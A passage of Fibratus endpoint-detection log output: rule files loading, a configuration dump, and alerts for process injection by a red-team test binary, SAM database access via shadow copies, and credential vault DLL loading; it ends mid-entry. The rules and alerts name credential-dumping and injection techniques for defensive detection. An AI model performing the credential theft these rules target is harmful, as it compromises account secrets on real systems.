C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_manipulation_from_exception_handler.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T13:20:35+01:00 level=info msg=bootstrapping with pid 14984. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T13:20:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-net=>true enable-audit-api=>true stack-enrichment=>true enable-vamap=>true enable-image=>true enable-handle=>false enable-thread=>true flush-interval=>1s max-buffers=>36 buffer-size=>512 enable-fileio=>true enable-dns=>false min-buffers=>16 enable-registry=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 max-backups=>15 formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ timeout=>5s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true template-name=>fibratus enabled=>false sniff=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus trace-log=>false bulk-workers=>1] amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s enabled=>false vhost=>/ passive=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient durable=>false] http=>[ serializer=>json method=>POST enable-gzip=>false enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] skip-allocs=>false enabled=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T13:20:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T13:20:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T13:20:47+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 287995 + Pid: 17452 + Tid: 17844 + Type: SetThreadContext + CPU: 0 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-05 13:20:44.2673414 +0100 CET + Params: status➜ Invalid access to memory location + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Thread context manipulation from exception handler, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 17452 + Ppid: 13184 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\thread-context-exception-handler\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-05T13:20:47+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 287995 + Pid: 17452 + Tid: 17844 + Type: SetThreadContext + CPU: 0 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-05 13:20:44.2673414 +0100 CET + Params: status➜ Invalid access to memory location + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Thread context manipulation from exception handler, technique.id: T1055 + + Pid: 17452 + Ppid: 13184 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\thread-context-exception-handler\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-05T13:46:58+01:00 level=info msg=sending alert: [File access to SAM database]. Text: Event(s): + Seq: 4257043 + Pid: 15792 + Tid: 15868 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-05 13:46:55.5921954 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SEQUENTIAL_ONLY|NON_DIRECTORY_FILE|OPEN_REPARSE_POINT, file_object➜ ffffb2894a93cb20, file_path➜ \Device\HarddiskVolumeShadowCopy3\WINDOWS\system32\config\sam, irp➜ ffffb28948ded988, share_mask➜ READ|DELETE, status➜ Success, tid➜ 15868, type➜ Directory + Metadata: tactic.id: TA0006, tactic.name: Credential Access, technique.id: T1003, subtechnique.id: T1003.002, subtechnique.name: Security Account Manager, rule.name: File access to SAM database, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: OS Credential Dumping, subtechnique.ref: https://attack.mitre.org/techniques/T1003/002/, technique.ref: https://attack.mitre.org/techniques/T1003/ + + Pid: 15792 + Ppid: 2028 + Name: SrTasks.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\system32\srtasks.exe" ExecuteScheduledSPPCreation + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\WINDOWS\system32\srtasks.exe" ExecuteScheduledSPPCreation] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T13:47:14+01:00 level=info msg=sending alert: [File access to SAM database]. Text: Event(s): + Seq: 4304403 + Pid: 15792 + Tid: 15868 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-05 13:47:12.4122862 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SEQUENTIAL_ONLY|NON_DIRECTORY_FILE|OPEN_REPARSE_POINT, file_object➜ ffffb2894a962be0, file_path➜ \Device\HarddiskVolumeShadowCopy2\WINDOWS\system32\config\sam, irp➜ ffffb2893f8800f8, share_mask➜ READ|DELETE, status➜ Success, tid➜ 15868, type➜ Directory + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: OS Credential Dumping, subtechnique.ref: https://attack.mitre.org/techniques/T1003/002/, technique.ref: https://attack.mitre.org/techniques/T1003/, subtechnique.id: T1003.002, technique.id: T1003, subtechnique.name: Security Account Manager, rule.name: File access to SAM database + + Pid: 15792 + Ppid: 2028 + Name: SrTasks.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\system32\srtasks.exe" ExecuteScheduledSPPCreation + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\WINDOWS\system32\srtasks.exe" ExecuteScheduledSPPCreation] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T13:47:29+01:00 level=info msg=sending alert: [File access to SAM database]. Text: Event(s): + Seq: 4347864 + Pid: 15792 + Tid: 15868 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-05 13:47:27.2034741 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SEQUENTIAL_ONLY|NON_DIRECTORY_FILE|OPEN_REPARSE_POINT, file_object➜ ffffb2894a96a750, file_path➜ \Device\HarddiskVolumeShadowCopy1\WINDOWS\system32\config\sam, irp➜ ffffb2894b4f3988, share_mask➜ READ|DELETE, status➜ Success, tid➜ 15868, type➜ Directory + Metadata: technique.ref: https://attack.mitre.org/techniques/T1003/, subtechnique.id: T1003.002, tactic.id: TA0006, tactic.name: Credential Access, technique.name: OS Credential Dumping, technique.id: T1003, rule.name: File access to SAM database, subtechnique.name: Security Account Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1003/002/ + + Pid: 15792 + Ppid: 2028 + Name: SrTasks.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\system32\srtasks.exe" ExecuteScheduledSPPCreation + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\WINDOWS\system32\srtasks.exe" ExecuteScheduledSPPCreation] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T13:48:19+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 4421987 + Pid: 1232 + Tid: 7884 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-05 13:48:14.2444676 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca, directory_table_base➜ 1f8f5c000, domain➜ ARCHRABBIT, exe➜ C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffffb2894a9f4080, name➜ backgroundTaskHost.exe, pid➜ 8452, ppid➜ 1232, real_ppid➜ 1232, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-05 13:48:14.2443996 +0100 CET, token_elevation_type➜ LIMITED, 